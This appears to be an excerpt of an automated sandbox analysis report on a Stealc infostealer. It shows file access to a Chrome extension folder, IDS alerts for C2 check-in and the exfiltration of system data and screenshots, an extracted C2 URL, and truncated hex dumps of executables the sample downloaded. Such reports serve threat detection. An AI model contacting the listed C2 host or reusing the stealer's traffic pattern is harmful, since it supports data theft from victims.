Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49733 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49733 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 193.176.190.41:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49733 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 193.176.190.41:80 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49733 -> 193.176.190.41:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.4:49733 -> 193.176.190.41:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://193.176.190.41/2fa883eebd632382.php
Source: Malware configuration extractor	URLs: http://193.176.190.41/2fa883eebd632382.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:12:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 30 Aug 2024 16:13:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 